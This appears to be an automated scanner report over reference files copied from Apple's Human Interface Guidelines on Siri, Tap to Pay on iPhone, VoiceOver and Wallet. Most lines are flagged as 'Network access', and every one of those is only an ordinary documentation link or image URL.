  • Network accessline 173
    ### [Custom intent categories and responses](https://developer.apple.com/design/human-interface-guidelines/siri#Custom-intent-categories-and-responses)
  • Network accessline 212
    ### [Design a custom intent](https://developer.apple.com/design/human-interface-guidelines/siri#Design-a-custom-intent)
  • Network accessline 214
    If a built-in SiriKit intent represents your action’s purpose, adopt that intent instead of defining a custom intent. For example, if you’d like to offer a shortcut for sending a message, adopt [`INSendMessageIntent`](https://developer.appl
  • Network accessline 234
    ### [Help people customize their requests](https://developer.apple.com/design/human-interface-guidelines/siri#Help-people-customize-their-requests)
  • Network accessline 238
    People supply parameter values to personalize an intent by responding to your follow-up questions or by editing existing values in the Shortcuts app. For example, if you offer an _order ground coffee_ intent that includes a parameter for th
  • Network accessline 246
    **Design parameters that are easy for people to understand and use.** Aim for parameters that represent simple values or attributes and name them using simple, straightforward terms. For example, a soup-ordering app might define parameters 
  • Network accessline 263
    For developer guidance, see the `storeLocation` parameter in the intent definition file of the [Soup Chef: Accelerating App Interactions with Shortcuts](https://developer.apple.com/documentation/SiriKit/soup-chef-accelerating-app-interactio
  • Network accessline 265
    ### [Enhance the voice experience for custom intents](https://developer.apple.com/design/human-interface-guidelines/siri#Enhance-the-voice-experience-for-custom-intents)
  • Network accessline 293
    ## [Shortcuts and suggestions](https://developer.apple.com/design/human-interface-guidelines/siri#Shortcuts-and-suggestions)
  • Network accessline 299
    * Your app can supply a shortcut for an action that people haven’t done yet but might want to do in the future, so that the Shortcuts app can suggest it or it can appear on the [Siri watch face](https://support.apple.com/guide/watch/faces-a
  • Network accessline 308
    The Shortcuts app is also available in macOS 12 and later and in watchOS 7 and later. For developer guidance, see [SiriKit](https://developer.apple.com/documentation/SiriKit).
  • Network accessline 312
    The Add to Siri method for adding shortcuts is no longer supported. See [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) for ways to integrate your app with Siri and the system.
  • Network accessline 314
    ### [Make app actions widely available](https://developer.apple.com/design/human-interface-guidelines/siri#Make-app-actions-widely-available)
  • Network accessline 333
    You can also tell the system about shortcuts for actions people haven’t taken yet or make a shortcut available on the Siri watch face (for guidance, see [Suggest Shortcuts people might want to add to Siri](https://developer.apple.com/design
  • Network accessline 337
    **Only donate actions that people actually perform.** For example, a coffee-ordering app donates the _Order coffee_ shortcut every time people order coffee, but not when people do something else, like browse the menu. Similarly, a media app
  • Network accessline 339
    **Remove donations for actions that require corresponding data.** If information required by a donated action no longer exists, your app needs to delete the donation so the shortcut isn’t suggested anymore. For example, if people delete a c
  • Network accessline 341
    **If your app handles reservations, consider donating them to the system.** These items — like ticketed events, travel itineraries, or reservations for restaurants, flights, or movies — automatically appear as suggestions in Calendar or Map
  • Network accessline 343
    #### [Suggest Shortcuts people might want to add to Siri](https://developer.apple.com/design/human-interface-guidelines/siri#Suggest-Shortcuts-people-might-want-to-add-to-Siri)
  • Network accessline 347
    Suggested shortcuts appear in both the Gallery and the shortcut editor in the Shortcuts app. For developer guidance, see [Offering Actions in the Shortcuts App](https://developer.apple.com/documentation/SiriKit/offering-actions-in-the-short
  • Network accessline 349
    #### [Display shortcuts on the Siri watch face](https://developer.apple.com/design/human-interface-guidelines/siri#Display-shortcuts-on-the-Siri-watch-face)
  • Network accessline 351
    On Apple Watch, people can run shortcuts in several ways. For example, people can ask Siri, tap a shortcut [complication](https://developer.apple.com/design/human-interface-guidelines/complications) on a watch face, or use the Shortcuts app
  • Network accessline 355
    For developer guidance, see [Defining Relevant Shortcuts for the Siri Watch Face](https://developer.apple.com/documentation/SiriKit/defining-relevant-shortcuts-for-the-siri-watch-face).
  • Network accessline 357
    ### [Create shortcut titles and subtitles](https://developer.apple.com/design/human-interface-guidelines/siri#Create-shortcut-titles-and-subtitles)
  • Network accessline 365
    | Example title   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)|  _Order my favorite coffee_
  • Network accessline 366
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)|  _Order my favorite coffee_   ![An X in a circle to indicate incorrect u
  • Network accessline 367
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)|  _Order my favorite coffee_
  • Network accessline 368
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)|  _Large latte_
  • Network accessline 369
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)|  _Show today’s forecast_
  • Network accessline 370
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)|  _Weather forecast_
  • Network accessline 387
    ### [Provide default phrases for shortcuts](https://developer.apple.com/design/human-interface-guidelines/siri#Provide-default-phrases-for-shortcuts)
  • Network accessline 397
    ### [Make shortcuts customizable](https://developer.apple.com/design/human-interface-guidelines/siri#Make-shortcuts-customizable)
  • Network accessline 413
    **Consider defining an input parameter.** When you define an input parameter for an action, the action can automatically receive output from a preceding action in a multistep shortcut. For example, if your action applies a filter to the ima
  • Network accessline 415
    **Help people distinguish among different variations of the same action.** For example, an app that offers a _send message_ action might use a contact photo to help people visually distinguish the various messages they send. To do this, cho
  • Network accessline 419
    For developer guidance, see [Shortcut-Related UI](https://developer.apple.com/documentation/SiriKit/shortcut-related-ui).
  • Network accessline 421
    ## [Editorial guidelines](https://developer.apple.com/design/human-interface-guidelines/siri#Editorial-guidelines)
  • Network accessline 427
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)|  _Say Hey Siri to activate Siri._
  • Network accessline 428
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)|  _Say Hey Siri to activate Siri._   ![A checkmark in a circle to indicat
  • Network accessline 429
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)|  _Say Hey Siri to activate Siri._
  • Network accessline 430
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| _Say “Hey Siri” to activate Siri._
  • Network accessline 431
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| _Say Hey Siri… to activate Siri._
  • Network accessline 432
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| _Say “hey Siri” to activate Siri._
  • Network accessline 460
    ### [Referring to Shortcuts](https://developer.apple.com/design/human-interface-guidelines/siri#Referring-to-Shortcuts)
  • Network accessline 474
    ### [Referring to Apple products](https://developer.apple.com/design/human-interface-guidelines/siri#Referring-to-Apple-products)
  • Network accessline 476
    **Adhere to Apple’s trademark guidelines.** Apple trademarks can’t appear in your app name or images. In text, use Apple product names exactly as shown on the [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademar
  • Network accessline 493
    See [Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html).
  • Network accessline 495
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/siri#Platform-considerations)
  • Network accessline 499
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/siri#Resources)
  • Network accessline 501
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/siri#Related)
  • Network accessline 503
    [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts)
  • Network accessline 505
    [Design for intelligence](https://developer.apple.com/news/?id=mb3c4r4r)
  • Network accessline 507
    [Guidelines for using Apple trademarks and copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html)
  • Network accessline 509
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/siri#Developer-documentation)
  • Network accessline 511
    [SiriKit](https://developer.apple.com/documentation/SiriKit)
  • Network accessline 513
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/siri#Videos)
  • Network accessline 515
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/4D88FD13-E491-4499-AA3F-8A84CF4BA607/9999_wide_250x141_1x.jpg) Design interactive snippets ](https://developer.apple.com/videos/play/wwdc2025/281
  • Network accessline 517
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/siri#Change-log)
  • Network accessline 519
    Date| Changes   ---|---   June 5, 2023| Removed Add to Siri guidance. Added references to the new [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) page.
  • Network accessline 520
    ---|---   June 5, 2023| Removed Add to Siri guidance. Added references to the new [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) page.   May 2, 2023| Consolidated guidance into one page.
  • Network accessline 521
    June 5, 2023| Removed Add to Siri guidance. Added references to the new [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) page.

skills/hig-technologies/references/tap-to-pay-on-iphone.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Tap to Pay on iPhone | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone
  • Network accessline 9
    ![A sketch of progressively larger curved lines extending toward the right within a circle, suggesting Tap to Pay on iPhone. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the
  • Network accessline 17
    Before you can integrate Tap to Pay on iPhone into your iOS app, you need to work with a supported payment service provider (PSP), request the Tap to Pay on iPhone entitlement, and use [ProximityReader](https://developer.apple.com/documenta
  • Network accessline 23
    ## [Enabling Tap to Pay on iPhone](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Enabling-Tap-to-Pay-on-iPhone)
  • Network accessline 25
    Before your app can enable Tap to Pay on iPhone and configure a merchant’s device, the merchant must accept the relevant terms and conditions. Use the ProximityReader API to help you get the current status and present an acceptance flow onl
  • Network accessline 27
    **Help merchants accept Tap to Pay on iPhone terms and conditions before they begin interacting with their customers.** Merchants must accept the terms and conditions before you perform the initial device configuration, so it works well whe
  • Network accessline 29
    ![An illustration of an app screen that describes the feature and contains a button labeled 'Enable Tap to Pay on iPhone'.](https://docs-assets.developer.apple.com/published/a41cd2da2fc8940033e2ea6b75606197/tap-to-pay-introduction-screen%40
  • Network accessline 31
    ![An illustration of an app screen that contains a button labeled 'Try a test transaction'.](https://docs-assets.developer.apple.com/published/3b8b8486581947e539f4acee1007fba4/tap-to-pay-confirmation-screen%402x.png)An app screen that shows
  • Network accessline 37
    ## [Educating merchants](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Educating-merchants)
  • Network accessline 54
    You can build your app’s tutorial using Apple-approved assets from the [Tap to Pay on iPhone marketing guidelines](https://developer.apple.com/tap-to-pay/marketing-guidelines/), or you can use the [`ProximityReaderDiscovery`](https://develo
  • Network accessline 56
    ![An illustration of an app's Tutorials screen in Settings, with a link to open the merchant education tutorial experience.](https://docs-assets.developer.apple.com/published/6e4f01e90092b71a1a173c0bdf4c9726/tap-to-pay-merchant-settings-tut
  • Network accessline 60
    ![An illustration of the Tap to Pay on iPhone merchant education tutorial sheet, which includes an image of the Tap to Pay behavior and instructions for how to accept a first payment.](https://docs-assets.developer.apple.com/published/e5bab
  • Network accessline 77
    ## [Checking out](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Checking-out)
  • Network accessline 94
    **Avoid making merchants wait to use Tap to Pay on iPhone.** In addition to performing the initial configuration for each device, you need to perform a subsequent configuration each time your app becomes frontmost. To minimize potential wai
  • Network accessline 96
    **Make sure the Tap to Pay on iPhone checkout option is available even if configuration is continuing in the background.** Merchants must always be able to select the Tap to Pay on iPhone checkout option in a checkout flow. During configura
  • Network accessline 98
    ![An illustration of an app screen that displays a determinate progress indicator followed by the text 'Preparing Tap to Pay on iPhone' above a purchase total.](https://docs-assets.developer.apple.com/published/75c45da83b016a137a5f42a6d0df9
  • Network accessline 100
    ![An illustration of an app screen that displays an indeterminate progress indicator followed by the text 'Preparing Tap to Pay on iPhone' above a purchase total.](https://docs-assets.developer.apple.com/published/44204349e40fe79fed0268cb77
  • Network accessline 106
    **For the label of the button that activates the feature, use “Tap to Pay on iPhone” or, if space is constrained, “Tap to Pay.”** The exception is if Tap to Pay on iPhone is the only payment-acceptance method you support. In this case, you 
  • Network accessline 108
    ![An illustration of a 'Tap to Pay' button containing an icon. The button correctly includes a wave symbol followed by the words 'Tap to Pay on iPhone'.](https://docs-assets.developer.apple.com/published/2847ded54a90ef597b34b7ff333e47b2/tap
  • Network accessline 110
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 112
    ![An illustration of a 'Tap to Pay' button containing an icon. The button incorrectly includes the Apple logo followed by the words 'Tap to Pay on iPhone'.](https://docs-assets.developer.apple.com/published/cb1cece72b73adf6bed5429864699859/
  • Network accessline 114
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 118
    Use the “Tap to Pay on iPhone” label only for payment actions. For language you can use for nonpayment actions, see [Additional interactions](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Additional-inte
  • Network accessline 126
    ## [Displaying results](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Displaying-results)
  • Network accessline 130
    **Start processing a transaction as soon as possible.** The system provides API you can use to request the result of a successful tap before the Tap to Pay on iPhone screen finishes displaying the checkmark animation that indicates tap comp
  • Network accessline 132
    **Display a progress indicator while payment is authorizing before you show your transaction result screen.** Transaction authorization can take several seconds to complete, depending on factors like connectivity for both the PSP and the me
  • Network accessline 134
    ![An illustration of an app's checkout screen showing an indeterminate progress indicator followed by the text 'Authorizing' above a purchase total.](https://docs-assets.developer.apple.com/published/2088576700f5d0e5370d538a6c0c200d/tap-to-
  • Network accessline 138
    ![An illustration of an app's checkout screen showing a green checkmark in a green circle above a purchase total. Below the total is the text 'Select receipt option' followed by a stack of three buttons.](https://docs-assets.developer.apple
  • Network accessline 140
    ![An illustration of an app's checkout screen showing a red X in a red circle above a purchase total. Below the total is the text 'Select receipt option' followed by a stack of three buttons.](https://docs-assets.developer.apple.com/publish
  • Network accessline 153
    ![An illustration of an app's checkout screen showing a red X in a red circle above the text 'Payment not completed' followed by a purchase total. Below the total is the text 'Select payment option' followed by four buttons, including Tap t
  • Network accessline 164
    **If the system returns an error that the merchant must address, display a clear description of the problem and recommend an appropriate resolution.** For example, if the device’s version of iOS doesn’t support Tap to Pay on iPhone, present
  • Network accessline 168
    ## [Additional interactions](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Additional-interactions)
  • Network accessline 178
    ![An illustration of a button labeled 'Loyalty Card'.](https://docs-assets.developer.apple.com/published/e586a72bca99cdaa8c68fb4b99c8e209/loyalty-card%402x.png)
  • Network accessline 180
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 182
    ![An illustration of a button labeled 'Tap to Pay on iPhone - Loyalty'.](https://docs-assets.developer.apple.com/published/72070690d8e7d35c7c79169e018faa39/tap-to-pay-on-iphone-loyalty%402x.png)
  • Network accessline 184
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 186
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Platform-considerations)
  • Network accessline 190
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Resources)
  • Network accessline 192
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Related)
  • Network accessline 194
    [Tap to Pay on iPhone Marketing guidelines](https://developer.apple.com/tap-to-pay/marketing-guidelines/)
  • Network accessline 196
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Developer-documentation)
  • Network accessline 198
    [Adding support for Tap to Pay on iPhone to your app](https://developer.apple.com/documentation/ProximityReader/adding-support-for-tap-to-pay-on-iphone-to-your-app) — ProximityReader
  • Network accessline 200
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Change-log)

skills/hig-technologies/references/voiceover.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "VoiceOver | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/voiceover
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/voiceover
  • Network accessline 9
    ![A sketch of the VoiceOver icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/477ffccb
  • Network accessline 13
    VoiceOver is supported in apps and games built for Apple platforms. It’s also supported in apps and games developed in Unity using [Apple’s Unity plug-ins](https://github.com/apple/unityplugins). For related guidance, see [Accessibility](ht
  • Network accessline 15
    ## [Descriptions](https://developer.apple.com/design/human-interface-guidelines/voiceover#Descriptions)
  • Network accessline 19
    **Provide alternative labels for all key interface elements.** VoiceOver uses alternative labels (which aren’t visible onscreen) to audibly describe your app’s interface. System-provided controls have generic labels by default, but you shou
  • Network accessline 23
    **Make charts and other infographics fully accessible.** Provide a concise description of each infographic that explains what it conveys. If people can interact with the infographic to get more or different information, make these interacti
  • Network accessline 25
    **Exclude purely decorative images from VoiceOver.** It’s unnecessary to describe images that are decorative and don’t convey useful or actionable information. Excluding these images shows respect for people’s time and reduces cognitive loa
  • Network accessline 27
    ## [Navigation](https://developer.apple.com/design/human-interface-guidelines/voiceover#Navigation)
  • Network accessline 35
    ![An illustration of the top portion of an iPhone. The UI onscreen shows two images. On the left is a basket of mangoes, and on the right is a basket of artichokes. There are captions beneath the images that read 'Mangoes come from trees th
  • Network accessline 39
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 41
    ![An illustration of the top portion of an iPhone. The UI onscreen shows two images. On the left is a basket of mangoes, and on the right is a basket of artichokes. There are captions beneath the images that read 'Mangoes come from trees th
  • Network accessline 45
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 47
    For developer guidance, see [`shouldGroupAccessibilityChildren`](https://developer.apple.com/documentation/ObjectiveC/NSObject-swift.class/shouldGroupAccessibilityChildren).
  • Network accessline 49
    **Inform VoiceOver when visible content or layout changes occur.** People may find an unexpected content or layout change confusing because it means their mental map of the content is no longer accurate. It’s crucial to report visible chang
  • Network accessline 51
    **Support the VoiceOver rotor when possible.** People can use an interface element called the VoiceOver rotor to navigate a document or webpage by headings, links, and other content types. You can help people navigate content in your app by
  • Network accessline 53
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/voiceover#Platform-considerations)
  • Network accessline 57
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/voiceover#visionOS)
  • Network accessline 59
    **Be mindful that custom gestures aren’t always accessible.** When VoiceOver is turned on in visionOS, apps and games that define custom gestures don’t receive hand input by default. This ensures people can explore the interface using their
  • Network accessline 61
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/voiceover#Resources)
  • Network accessline 63
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/voiceover#Related)
  • Network accessline 65
    [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility)
  • Network accessline 67
    [Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion)
  • Network accessline 69
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/voiceover#Developer-documentation)
  • Network accessline 71
    [Accessibility](https://developer.apple.com/documentation/Accessibility)
  • Network accessline 73
    [VoiceOver](https://developer.apple.com/documentation/Accessibility/voiceover)
  • Network accessline 75
    [Supporting VoiceOver in your app](https://developer.apple.com/documentation/UIKit/supporting-voiceover-in-your-app)
  • Network accessline 77
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/voiceover#Videos)
  • Network accessline 79
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/23AF104C-7CFE-4F7B-AEC6-46F54121AE92/2966_wide_250x141_1x.jpg) Writing Great Accessibility Labels ](https://developer.apple.com/videos/play/wwdc2019/254)
  • Network accessline 81
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/1A6C1BBD-8ADD-4B35-896E-7EBAA39B82FC/5019_wide_250x141_1x.jpg) Tailor the VoiceOver experience in your data-rich apps ](https://developer.apple.com/videos/play/wwdc2021/10121)
  • Network accessline 83
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/669BA7EE-2BAE-4B94-84E7-41D399756313/3471_wide_250x141_1x.jpg) VoiceOver efficiency with custom rotors ](https://developer.apple.com/videos/play/wwdc2020/10116)
  • Network accessline 85
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/voiceover#Change-log)

skills/hig-technologies/references/wallet.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Wallet | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/wallet
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/wallet
  • Network accessline 9
    ![A sketch of the Wallet icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/485464590c2
  • Network accessline 13
    When you integrate Apple Wallet into your app, you can create custom passes and present them the moment people need them, securely verify an individual’s identity so they can access personal content, and offer detailed receipts and tracking
  • Network accessline 15
    ## [Passes](https://developer.apple.com/design/human-interface-guidelines/wallet#Passes)
  • Network accessline 17
    **Offer to add new passes to Wallet.** When people do something that results in a new pass — like checking into a flight, purchasing an event ticket, or registering for a store reward program — you can present system-provided UI that helps 
  • Network accessline 21
    **Add related passes as a group.** If your app generates multiple passes, like boarding passes for a multi-connection flight, add all passes at the same time so people don’t have to add each one individually. If people can receive a group o
  • Network accessline 23
    **Display an Add to Apple Wallet button to let people add an existing pass that isn’t already in Wallet.** If people previously declined your suggestion to add a pass to Wallet — or if they removed the pass — a button makes it easy to add i
  • Network accessline 27
    **Tell the system when your pass expires.** Wallet automatically hides expired passes to reduce crowding, while also providing a button that lets people revisit them. To help ensure the system hides passes appropriately, set the expiration 
  • Network accessline 31
    **Help the system suggest a pass when it’s contextually relevant.** Ideally, passes automatically appear when they’re needed so people don’t have to manually locate them. When you supply information about when and where your pass is relevan
  • Network accessline 33
    ![A screenshot of the Lock Screen on iPhone, showing a notification about an upcoming flight.](https://docs-assets.developer.apple.com/published/cebddf30f9508581b883f85eccdba873/screen-notification%402x.png)
  • Network accessline 37
    ![A screenshot of the Lock Screen on iPhone, showing a Live Activity of an upcoming event.](https://docs-assets.developer.apple.com/published/1fb12c1d6aa8a295ee97a709f68915ef/poster-event-live-activity%402x.png)
  • Network accessline 43
    **Use change messages only for updates to time-critical information.** A change message interrupts people’s current workflow, so it’s essential to send one only when you make an update they need to know about. For example, people need to kn
  • Network accessline 45
    ## [Designing passes](https://developer.apple.com/design/human-interface-guidelines/wallet#Designing-passes)
  • Network accessline 49
    ![An illustration that represents an iPhone next to an Apple Watch. Each device displays a Wallet pass for a flight.](https://docs-assets.developer.apple.com/published/ab8facb271621ba07477e89c7c65f8a5/pass-intro%402x.png)
  • Network accessline 51
    **Design a pass that looks great and works well on all devices.** Passes can look different on different devices. For example, when a pass appears on Apple Watch, it doesn’t display all the images it displays when it appears on iPhone (for 
  • Network accessline 65
    ### [Pass styles](https://developer.apple.com/design/human-interface-guidelines/wallet#Pass-styles)
  • Network accessline 67
    The system defines several pass _styles_ for categories like boarding pass, coupon, store card, and event ticket. Pass styles specify the appearance and layout of content in your pass, and the information that the system needs to suggest yo
  • Network accessline 71
    ![A diagram that shows a four-row arrangement of layout areas in a pass. The top row contains a logo, logo text, and an essential area. The second row contains a primary area. The third row contains an area for secondary and auxiliary field
  • Network accessline 73
    All passes display a logo image, and some can display additional images in other areas depending on the pass style. To display information in the layout areas, use the following [`PassFields`](https://developer.apple.com/documentation/Walle
  • Network accessline 86
    #### [Boarding passes](https://developer.apple.com/design/human-interface-guidelines/wallet#Boarding-passes)
  • Network accessline 97
    ![An illustration representing a boarding pass that includes a square QR code. The boarding pass is for a flight from SFO in San Francisco to LGA in New York.](https://docs-assets.developer.apple.com/published/1656e78a2371c7828d25a5c5ffcdda
  • Network accessline 99
    ![A diagram that shows the layout of a boarding pass. A top row contains a logo, logo text, and header field areas. A second row contains primary field areas and an airplane icon. A third row contains an auxiliary fields area. The fourth ro
  • Network accessline 101
    #### [Coupons](https://developer.apple.com/design/human-interface-guidelines/wallet#Coupons)
  • Network accessline 110
    ![An illustration representing a coupon pass. The pass includes a company name and icon, glyphs of clothing items, a discount offer of 15% off, and an expiration of June 5, 2023.](https://docs-assets.developer.apple.com/published/69bfb27a52
  • Network accessline 112
    ![A diagram that shows the layout of a coupon pass. A top row contains a logo, logo text, and header field areas. A second row contains a primary field area with a callout labeled 'Strip image'. A third row contains a secondary and auxiliar
  • Network accessline 114
    #### [Store cards](https://developer.apple.com/design/human-interface-guidelines/wallet#Store-cards)
  • Network accessline 125
    ![An illustration representing a store card pass. The pass includes a company name and icon, a reward point value, an illustration of a coffee cup, a reward value amount, and an updated date.](https://docs-assets.developer.apple.com/publish
  • Network accessline 127
    ![A diagram that shows the layout of a store card pass. A top row contains a logo, logo text, and header field areas. A second row contains a primary field area with a callout labeled 'Strip image'. A third row contains a secondary and auxi
  • Network accessline 129
    #### [Event tickets](https://developer.apple.com/design/human-interface-guidelines/wallet#Event-tickets)
  • Network accessline 133
    An event ticket can display logo, strip, background, or thumbnail images. However, if you supply a strip image, don’t include a background or thumbnail image. You can also include an extra row of up to four auxiliary fields. For developer g
  • Network accessline 141
    ![An illustration representing an event ticket pass. The pass includes a company name and icon, a date and time, an illustration of a person bowling, a bowling alley name, and a lane number.](https://docs-assets.developer.apple.com/publishe
  • Network accessline 143
    ![A diagram that shows one layout style for an event ticket pass. A top row contains a logo, logo text, and header field areas. A second row contains areas for primary fields, secondary fields, and a thumbnail. A third row contains an auxil
  • Network accessline 145
    ![A diagram that shows a second layout for an event ticket pass. A top row contains a logo, logo text, and header field areas. A second row contains a primary field area with a callout labeled 'Strip image'. A third row contains a secondary
  • Network accessline 153
    A poster event ticket displays an event logo and background image, and can optionally display a separate ticket issuer or event company logo. The system uses metadata about your event to structure ticket information and suggest relevant act
  • Network accessline 160
    ![An illustration representing a poster event ticket pass. The pass includes an event name, a date and time, a background image, seat information, a venue name, and a secondary logo.](https://docs-assets.developer.apple.com/published/5545e8
  • Network accessline 162
    ![A diagram that shows the layout style for a poster event ticket pass. The background image is centered in the ticket. The header contains a logo and logo text on the left, and the date and time on the right. The footer contains primary te
  • Network accessline 166
    ![An illustration of a poster event ticket in the Wallet app with additional ticket information, Maps shortcut, and event guide tiles displayed below the ticket.](https://docs-assets.developer.apple.com/published/cbcd171b0cd5a3431b0e8996cca
  • Network accessline 170
    ![An illustration of the event guide with three quick actions, a weather forecast, and a venue map.](https://docs-assets.developer.apple.com/published/2373cc358447143bdc95bb8b683793bb/poster-event-event-guide%402x.png)
  • Network accessline 176
    **Position your background image in the safe area.** The system displays ticket information in the header and footer, which overlap the background image. To ensure that the content in your artwork isn’t covered, position it in the safe area
  • Network accessline 178
    **Ensure sufficient contrast so that ticket information is easy to read.** By default, the system applies a gradient in the header and a blur effect in the footer of your poster event ticket to provide sufficient contrast between the backgr
  • Network accessline 180
    ![An illustration of a poster event ticket with good contrast between the background image and ticket information.](https://docs-assets.developer.apple.com/published/eb1dcdb8d7e2e2867927fe038db19b9a/poster-event-ticket-good-contrast%402x.pn
  • Network accessline 182
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 184
    ![An illustration of a poster event ticket with poor contrast between the background image and ticket information.](https://docs-assets.developer.apple.com/published/ad1b01e421bb814d97f375fc1ec7f9db/poster-event-ticket-poor-contrast%402x.pn
  • Network accessline 186
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 188
    **Consider using the additional information tile for extra event details.** When you have more information about the event that people may find helpful, the additional information tile below the ticket is a great place to put it. If you hav
  • Network accessline 190
    **Continue to support event tickets for earlier versions of iOS.** People expect contactless event tickets to work, regardless of their device’s software version. Continue to provide primary, secondary, and auxiliary information in [`PassFi
  • Network accessline 192
    #### [Generic passes](https://developer.apple.com/design/human-interface-guidelines/wallet#Generic-passes)
  • Network accessline 202
    ![An illustration representing a generic pass. The pass is a membership card for a gym, and includes a company name and icon, a membership level, an illustration of a person lifting weights, a policy holder name, a member ID, and a barcode.
  • Network accessline 204
